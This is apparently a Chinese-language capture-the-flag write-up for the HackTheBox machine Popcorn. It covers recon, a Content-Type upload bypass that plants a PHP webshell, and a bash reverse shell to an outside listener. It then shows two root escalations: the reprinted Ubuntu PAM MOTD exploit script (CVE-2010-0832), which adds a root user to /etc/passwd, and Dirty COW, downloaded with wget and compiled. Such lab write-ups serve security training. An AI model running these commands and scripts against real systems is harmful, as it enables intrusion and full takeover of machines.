Popcorn是一个中等难度的靶机,知识点涉及文件上传绕过、MODT提权、脏牛提权等感兴趣
的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先通过nmap对目标进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.6 -oA nmap_Popcorn
扫描结果显示目标开放了22、80端口
80端口
访问后是 Apache 默认运行界面
使用 gobuster 扫描发现目录/test、/torrent、/rename
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
test
访问目录/test是phpinfo界面。其中值得注意的是配置是file_uploads=open
如果存在文件包含可执行代码
rename
访问目录/rename是一个用于重命名的 API 接口
尝试构造 payload 将index.html重命名为mac.html
http://10.10.10.6/rename/index.php?filename=index.html&newfilename=mac.html
但并没有成功重命名,与此同时它还暴露了绝对路径。那么我们可以有这样一个思路:找到一个文件上传点上传
带有php 代码的图片,通过这个 API 修改后缀名为 php,从而达到上传木马的效果
torrent
目录/torrent提供 Torrent Hoster 的实例,但点击Upload会重定向到登录界面由此推断使用该功能需要经过身份认证
访问Browse存在一个名为 Kali Linux 的torrent
尝试在其中注册用户mac/mac并输入邮箱mac@mac.com
使用刚注册的账户mac/mac登录成功
在Upload功能点中能够上传Torrent种子文件
尝试在此处上传 webshell,但上传失败。
那么尝试上传一个有效的Torrent种子文件呢?
Kali种子地址:https://kali.download/base-images/kali-2022.1/kali-linux-2022.1
-installer-amd64.iso.torrent
提交上传后等一分钟可重定向至Torrent界面
点击Edit this torrent后会跳出新表单如下:
在其中上传与该种子相关的图片,结果显示上传完成
图片地址为/thumbnail.php?gd=2&src=./upload/708759a17400cb3d4368e4769048f3d61e546
6e3.png&maxw=96,此 URL 结构可能存在文件包含漏洞
与此同时src还指向了一个路径http://10.10.10.6/torrent/upload/,访问后发现上传的所有图片路径
0x02 上线[www-data]
文件上传绕过
综上可以发现两个文件上传点,分别为 torrent 以及 torrent 对应图片。显然我们对图片上传点更感兴趣
但直接上传 webshell 目标会进行拦截,尝试使用一些常见的绕过方法进行测试
修改文件扩展名
修改 Content-Type
修改文件上传内容
上传图片后使用 BurpSuite 截取数据包并发送至 Repeater 进行测试
尝试直接修改文件扩展名为.php、Content-Type为application/x-php,点击发送后无法上传
尝试修改Content-Type值为image/png后上传成功,猜测 web 应用程序主要判断Content-type类型
将其修改为正常的图片类型可绕过上传限制
为了验证这一猜想,尝试只修改图片上传数据包的Content-type的值 结果同样也无法上传说明猜想正确
访问/torrent/upload路径并找到上传木马文件的地址
访问木马地址并尝试执行命令,命令执行成功
curl http://10.10.10.6/torrent/upload/708759a17400cb3d4368e4769048f
3d61e5466e3.php?cmd=id
反弹shell
在本地监听 443 端口用于接收反弹shell
nc nvlp 443
使用木马执行命令执行反弹shell
curl http://10.10.10.6/torrent/upload/708759a17400cb3d4368e4769048f3d61e5466e3.php --data-urlen
code "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
收到反弹shell后在/home目录中成功找到第一个flag
cd /home/george
cat user.txt
0x03 权限提升[root]
MODT提权
枚举/home目录发现文件motd.legal-displayed,MOTD 是 message of the day 的缩写,通常在用户成
功登录到Linux 后出现,其内容就是登录后的提示信息,而此类文件的出现意味着可能存在 Ubuntu PAM
MOTD 本地提权漏洞(CVE-2010-0832)
参考文章:https://www.exploit-db.com/exploits/14339
ls -la
find . -type f -ls
通过阅读该漏洞的利用代码可知:Ubuntu 在用户登录时会调用 PAM 对~/.cache设置目录权限,只要将~/.cache替换
为需要的文件符号链接,比如passwd。替换完成后再次登录该文件会被当前用户调用,从而完成权限提升。但由于当
前环境为反弹shell,无法进行用户登录,因此我们需要将 SSH 密钥写入服务器当中用于免密登录
SSH免密登录
查看当前用户对~/.cache目录的权限,该目录中的motd.legal-displayed归 george 所有权限
为可读可写,因此无法删除该文件
ls -l .cache
在当前用户的主目录/var/www下创建.ssh目录后使用 ssh-keygen 生成 SSH 密钥对
cd ~
mkdir .ssh
ssh-keygen -q -t rsa -N '' -C 'pam'
ls .ssh
复制公钥为authorized_keys并将权限设置为600
cp .ssh/id_rsa.pub .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
需要注意的是目录中并没有.cache目录
ls -la
复制 www-data 用户私钥至本地后指定密钥完成 ssh 免密登录
chmod 600 key
ssh -i key www-data@10.10.10.6
在用户主目录/var/www下出现~/.cache目录,并在其中发现motd.legal-displayed文件
find .cache/ -type f -ls
添加用户
删除~/.cache目录并替换为/etc/passwd的文件符号链接
rm -rf ~/.cache
ln -s /etc/passwd ~/.cache
ls -la ~/.cache
再次登录 ssh 发现/etc/passwd权限已经归 www-data 所有,既然有了写入权限,那么就可以在其中尝试添加管理员用户
ssh -i key www-data@10.10.10.6
ls -la /etc/passwd
利用 openssl 生成密码的哈希值
openssl passwd -1 mac
尝试添加用户至/etc/passwd,其中用户和密码都是 mac,用户和用户组都为0代表 root
描述为 pwned,主目录是/root,shell 是/bin/bash
echo 'mac:$1$Of8Jy30x$uJx7pE./n1MKDpac9gBsk1:0:0:pw
ned:/root:/bin/bash' >> /etc/passwd
使用su命令获取 root 权限
su - mac
id
在/root目录下成功找到第二个flag
cat root.txt
脚本分析
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTW
LKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo " Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo " Backuped $1"
}
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo " Restored $1"
}
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo " SSH key set up"
}
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo " SSH key removed"
}
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
ln -s "$1" ~/.cache || return 1
echo " spawn ssh"
ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
脚本分别定义了backup()、restore()、key_create()、key_remove()、own()、bye()等一堆函数,执行流程如下:
key_create()创建SSH密钥对以便当前用户通过私钥无密码登录
backup()备份~/.cache目录
own()会删除~/.cache目录并创建文件符号链接,通过该函数分别指向/etc/passwd、/etc/shadow
然后断开连接验证当前用户是否已拥有目标文件的写入权限
restore()用来恢复~/.cache目录
key_remove()则会清理刚刚添加的SSH密钥
清理痕迹完成后再自动启动 root 权限的 shell
脏牛提权
脏牛提权是 Linux 中经典的内核提权方式,首先使用命令查看系统版本
uname -a
在漏洞利用参考列表中发现该版本的 ubuntu 系统能够使用脏牛提权根据 POC列表我们
可使用 dirty.c直接提权
参考列表:https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions
POC列表:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
使用 python 开启 web 服务用于传输利用代码dirty.c
python3 -m http.server 80
在靶机中通过 wget 下载利用代码并完成编译
wget http://10.10.14.7/dirty.c
chmod 777 dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
运行后可成功提权
chmod +x dirty
./dirty
由于su命令必须在终端执行,因此需要以 www-data 用户身份登录 ssh输入以上
账号密码可成功获取 root 权限
su - firefart
id
0x04 总结
Popcorn 译为爆米花,通过对站点进行目录扫描后发现三个目录,分别是phpinfo界面、重命名API以及提供Torrent
Hoster 实例的应用程序。在应用中注册用户后发现存在种子文件上传点和对应的图片上传点。在尝试对图片上传点
上传木马后发现应用存在防御机制,修改 Content-Type 可绕过限制。利用目录遍历遍历发现上传后的木马位置使
用木马执行命令可成功收到反弹shell。
上线后当前权限为 www-data,通过信息收集发现 MOTD 文件,MODT 存在历史提权漏洞,其主要成因是用户登录
时会调用 PAM 对~/.cache设置目录权限,因此需要生成密钥对来登录目标用户ssh 将~/.cache替换为/etc/passwd
的文件符号链接,再次登录后会调用 PAM 重设该命令所有者,最终在/etc/passwd中添加管理员用户完成权限提升
当然还有个经典方法:脏牛提权,这个方式就不再赘述了。 |